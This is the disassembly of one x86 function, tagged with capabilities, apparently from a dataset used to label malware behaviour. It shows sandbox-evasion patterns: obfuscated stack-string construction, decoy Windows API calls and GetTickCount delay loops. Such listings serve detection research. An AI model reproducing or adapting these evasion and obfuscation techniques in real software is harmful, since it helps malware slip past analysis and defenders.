Function at 0x4015fa
Capabilities:
Check for time delay via gettickcount
Contain obfuscated stackstrings
Get geographical location
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4a25b7
push eax
mov dword fs:[0], esp
sub esp, 0xc78
push ebx
push esi
push edi
mov dword [esp + 0x58], 0x328d3878
mov dword [esp + 0x24], 0x2523dd1e
mov dword [esp + 0x40], 0x21307855
mov dword [esp + 0x20], 0x672ea8fa
mov dword [esp + 0x34], 0x4761876
mov dword [esp + 0x2c], 0x40fa9378
mov dword [esp + 0x4c], 0x47733440
mov dword [esp + 0x18], 0x156c28ae
mov dword [esp + 0x50], 0x5433e283
mov dword [esp + 0x44], 0x3749241f
mov dword [esp + 0x48], 0x10d349db
mov dword [esp + 0x54], 0x2349306c
mov dword [esp + 0x1c], 0x6c8ebbf
mov dword [esp + 0x38], 0x54fd690e
mov dword [esp + 0x10], 0x56ad2bed
mov dword [esp + 0x30], 0x7a196881
mov dword [esp + 0x28], 0x59187543
mov dword [esp + 0x14], 0x1b7f058
mov dword [esp + 0x3c], 0x5ba95b85
sub dword [esp + 0x58], 0x7ccf609f
mov eax, 0x2ba11503
mul dword [esp + 0x40]
mov eax, dword [esp + 0x40]
mov eax, 0x12808ccd
mul dword [esp + 0x58]
mov eax, dword [esp + 0x58]
sub dword [esp + 0x40], 0x12e5929c
sub dword [esp + 0x34], 0x9c25915
sub dword [esp + 0x24], 0x47a1bfbd
sub dword [esp + 0x40], 0x2842ac9
sub dword [esp + 0x58], 0x610d82d9
mov eax, 0x79d6fb54
mul dword [esp + 0x40]
mov eax, dword [esp + 0x40]
add dword [esp + 0x4c], 0x19f8cb55
mov eax, 0x2d6c5cce
mul dword [esp + 0x24]
mov eax, dword [esp + 0x24]
add dword [esp + 0x24], 0x34be3447
mov eax, 0x44d75561
mul dword [esp + 0x40]
mov eax, dword [esp + 0x40]
mov eax, 0x624fde5b
mul dword [esp + 0x24]
mov eax, dword [esp + 0x24]
add dword [esp + 0x58], 0xed2dabb
sub dword [esp + 0x44], 0x7e3a5591
mov eax, 0x43237d36
mul dword [esp + 0x4c]
mov eax, dword [esp + 0x4c]
sub dword [esp + 0x34], 0x4771ff42
sub dword [esp + 0x44], 0x56f129ec
sub dword [esp + 0x1c], 0x41e1947e
mov eax, 0x3816ab6f
mul dword [esp + 0x48]
mov eax, dword [esp + 0x48]
mov eax, 0x38f235a9
mul dword [esp + 0x1c]
mov eax, dword [esp + 0x1c]
add dword [esp + 0x44], 0x35957de7
sub dword [esp + 0x1c], 0x20e00206
mov eax, 0x6a29d5c6
mul dword [esp + 0x30]
mov eax, dword [esp + 0x30]
add dword [esp + 0x48], 0x7f736a21
sub dword [esp + 0x54], 0x73a23c8e
mov eax, 0x57ff1c72
mul dword [esp + 0x4c]
mov eax, dword [esp + 0x4c]
sub dword [esp + 0x34], 0x67efe02a
sub dword [esp + 0x30], 0x19343085
sub dword [esp + 0x18], 0x2a647022
xor ebx, ebx
cmp dword [0x1a98fac], 0x400
jne 0x4018df
push ebx
push ebx
push ebx
lea eax, [esp + 0x68]
push eax
push ebx
push ebx
push ebx
mov dword [esp + 0x78], ebx
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
push ebx
lea eax, [esp + 0x84]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesLengthW]
push str.vehigi
push str.felolamoriw
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsA]
push ebx
push str.libaworus
call dword [sym.imp.USER32.dll_LoadKeyboardLayoutA]
mov dword [esp + 0x7c], 0xf
mov dword [esp + 0x78], ebx
mov byte [esp + 0x68], bl
push ebx
mov dword [esp + 0xc90], ebx
call fcn.00401ec2
pop ecx
push ebx
call fcn.00402212
fldz
sub esp, 0xc
fst qword [esp + 8]
fstp qword [esp]
call fcn.00401a90
add esp, 8
fstp st(0)
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
call fcn.00402500
fstp st(0)
push ebx
call fcn.004027e7
add esp, 0xc
push ebx
call fcn.00402637
pop ecx
push ebx
push ebx
call fcn.00401d67
push ebx
call fcn.00402637
pop ecx
mov eax, esp
mov dword [eax], ebx
push ecx
mov dword [eax + 4], ebx
push ecx
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
call fcn.00401030
fstp st(0)
or dword [esp + 0xc8c], 0xffffffff
cmp dword [esp + 0x7c], 0x10
jb 0x4018df
push dword [esp + 0x68]
call fcn.004024e7
pop ecx
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
xor edi, edi
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
call esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp edi, 0x207138
jg 0x401907
inc edi
cmp edi, 0x4f672
jl 0x4018e7
xor edi, edi
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomW]
cmp edi, 0x2b157b
jg 0x401921
inc edi
cmp edi, 0x116bd
jl 0x401909
xor edi, edi
push ebx
lea eax, [esp + 0x84]
push eax
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetNumberFormatA]
call esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp edi, 0x58bc14
jle 0x401950
cmp dword [esp + 0x60], 0x7a45f535
jne 0x401959
inc edi
cmp edi, 0xe154
jl 0x401923
mov eax, dword [0x4afb6c]
mov dword [0x1a98fac], eax
call fcn.00401299
mov esi, 0x3078f
cmp dword [0x1a98fac], 0x51f
jne 0x401989
push ebx
lea eax, [esp + 0x484]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointW]
dec esi
jne 0x40196d
mov ecx, dword [esp + 0xc84]
pop edi
pop esi
xor eax, eax
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret 0x10